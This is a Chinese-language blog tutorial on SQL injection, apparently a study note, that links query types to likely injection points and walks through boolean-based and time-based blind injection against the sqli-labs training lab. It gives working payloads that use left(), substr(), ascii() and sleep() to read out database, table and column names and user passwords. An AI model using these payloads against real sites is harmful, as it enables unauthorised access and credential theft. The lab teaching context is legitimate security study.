WEB漏洞-SQL注入之查询方式及盲注

WEB漏洞-SQL注入之查询方式及盲注

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。

一、SQL注入的查询方式:

1.select 查询数据

在网站应用中进行数据显示查询操作

例如:select * from users where id=1;
WEB漏洞-SQL注入之查询方式及盲注_第1张图片

2.insert 插入数据

在网站应用中进行用户注册添加等操作

例如:insert into users(id,username,password,level) values (4,‘zyh’,‘123456’,4);
在这里插入图片描述
WEB漏洞-SQL注入之查询方式及盲注_第2张图片

3.delete 删除数据

后台管理里面删除文章删除用户等操作

例如:delete from users where id=4;
WEB漏洞-SQL注入之查询方式及盲注_第3张图片

4.update 更新数据

会员或后台中心数据同步或缓存等操作

例如:update users set password=‘654321’ where id=4 and username=‘zyh’;
WEB漏洞-SQL注入之查询方式及盲注_第4张图片

5.order by 排序数据

一般结合表名或列名进行数据排序操作

例如:select * from users order by $id;

例如:select id,username,password from users order by $order;

重点理解:

我们可以通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方SQL查询方式。比如在用户注册的地方,可能的SQL语句就是:insert语句。用户修改个人信息的地方,可能的SQL语句就是:update语句。等等

二、SQL注入盲注:

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些
方法进行判断或者尝试,这个过程称之为盲注。

我们可以知道盲注分为以下三类:

基于布尔的SQL盲注-逻辑判断、基于时间的SQL盲注-延时判断、基于报错的SQL盲注-报错回显

1.基于布尔的SQL盲注-逻辑判断

适用场景:

数据库查询结果无法从直观页面中获取,并且输入正确或者错误参数下,页面返回的信息有所不同(只是无回显)。

例如:

正确参数id=1,页面正常
WEB漏洞-SQL注入之查询方式及盲注_第5张图片
错误参数id=999,页面错误
WEB漏洞-SQL注入之查询方式及盲注_第6张图片
盲注相关函数:

截取字符串常用函数:

mid(string,start,length)函数:

string参数表示要截取字段,start参数表示开始截取的位置(从1开始),length表示要截取的长度。

substr(string, start, length)函数: 功能与mid()函数相似。

left(string,n)函数: 此函数功能为得到string字符串的左面指定n位的字符。

length(a): 计算a的长度。

ascii(a) :将字符a转为ascii 值。

ord(a) :将字符a转为ascii 值。%

like匹配注入:

like ‘ro%’ #匹配ro及ro…等
WEB漏洞-SQL注入之查询方式及盲注_第7张图片
regexp正则匹配:

regexp ‘^ro[a-z]’ #匹配ro及ro…等
WEB漏洞-SQL注入之查询方式及盲注_第8张图片
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

sleep():

布尔盲注的实例:

sqli-labs:lesson-8

1.判断闭合符

判断为单引号

WEB漏洞-SQL注入之查询方式及盲注_第9张图片
2.判断列数

输入4列,页面错误
WEB漏洞-SQL注入之查询方式及盲注_第10张图片
输入3列,页面正确,列数为3列
WEB漏洞-SQL注入之查询方式及盲注_第11张图片

3.查询回显位

无显示位,并且没有报错回显,考虑用布尔盲注。
WEB漏洞-SQL注入之查询方式及盲注_第12张图片
4.判断数据库长度以及数据库名

1.id=1' and length(database())=8  %23//判断数据库名长度,长度从1开始尝试,当长度不正确时,页面没有回显。成功时会回显。

2.id=1' and left(database(),8)='security' %23//修改left后面限定数字,逐字判断数据库名 

WEB漏洞-SQL注入之查询方式及盲注_第13张图片
WEB漏洞-SQL注入之查询方式及盲注_第14张图片
WEB漏洞-SQL注入之查询方式及盲注_第15张图片
5.判断数据库表名

1. id=1’ and (select count (table_name) from information_schema.tables where table_schema=database())=4 %23//判断数据库表的书目,依次使后面的数字改变,直到为4时,回显正确

2.id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+ //修改limit x,1 和left中限定的数字, 最后得到表名为users

WEB漏洞-SQL注入之查询方式及盲注_第16张图片
在这里插入图片描述
6.判断数据库列名

1.id=1'and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+ //修改limit x,1 和left中限定的数字,最后得到列名为users

WEB漏洞-SQL注入之查询方式及盲注_第17张图片
7.判断数据库用户以及密码

1. and left((select username from users order by id limit 0,1),4)='dumb' --+ //判断用户
 
2. and left((select password from users order by id limit 0,1),4)='dumb' --+ //判断密码

按照id排序

WEB漏洞-SQL注入之查询方式及盲注_第18张图片
WEB漏洞-SQL注入之查询方式及盲注_第19张图片
另外:

1.在判断数据库名时,可以使用

id=1' and ascii(substr((select database()),1,1))>114 %23 //通过ascii码大小来判断字符大小。如果第一个字符大于114,则页面返回正确,反之错误。通过这样不断缩小范围来判断每个字符。

2.判断数据库的表的数目

id=1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 %23//依次让它等于1,2,3一直显示不成功,直到4,显示成功,则数据库中有四个表

3.判断表名

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>97 %23 //通过改变limt x,1 中x的参数,和substr后面两个参数,以及ascii码来对编码进行判断
2.基于时间的SQL盲注-延时判断

适用场景:

数据库查询结果无法从直观页面中获取,并且输入正确或者错误参数下,页面返回的信息不变。(无响应)

例如:

输入正确id=1,回显you are in …
WEB漏洞-SQL注入之查询方式及盲注_第20张图片
输入不存在id=999,回显you are in …
WEB漏洞-SQL注入之查询方式及盲注_第21张图片
无论输入什么都没有响应,判断需要使用时间盲注

1.判断闭合符

双引号为闭合符,当输入单引号时,页面没有延迟,当输入双引号时,页面延迟。
WEB漏洞-SQL注入之查询方式及盲注_第22张图片
WEB漏洞-SQL注入之查询方式及盲注_第23张图片
2.判断数据库名

1.判断数据库长度
?id=1"and if(length(database())=8,sleep(10),1)%23//出现延迟说明长度为8
2.判断数据库名
?id=1"and if (left(database(),8)='security',sleep(10),1)%23//和布尔盲注一样,需要逐字判断

WEB漏洞-SQL注入之查询方式及盲注_第24张图片
WEB漏洞-SQL注入之查询方式及盲注_第25张图片
3.判断表名

?id=1" and if (left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(10),1)%23

在这里插入图片描述
4.判断用户的账号密码

1.判断用户
?id=1" and if (left((select username from users order by id limit 0,1),4)='dumb',sleep(10),1)%23
2.判断密码
?id=1" and if (left((select password from users order by id limit 0,1),4)='dumb',sleep(10),1)%23

在这里插入图片描述
在这里插入图片描述

布尔盲注和延时注入的区别?

理论上,能够布尔盲注就一定能时间盲注,能够时间盲注不一定能布尔盲注。相比之下,布尔盲注稳定性更好,时间盲注适用范围更广,但因为时间盲注的实现原理是基于timeout的,稳定性与效率不如布尔注入。在盲注测试时,通常先测试是否可以布尔盲注,若不行再尝试时间盲注。

你可能感兴趣的:(WEB漏洞)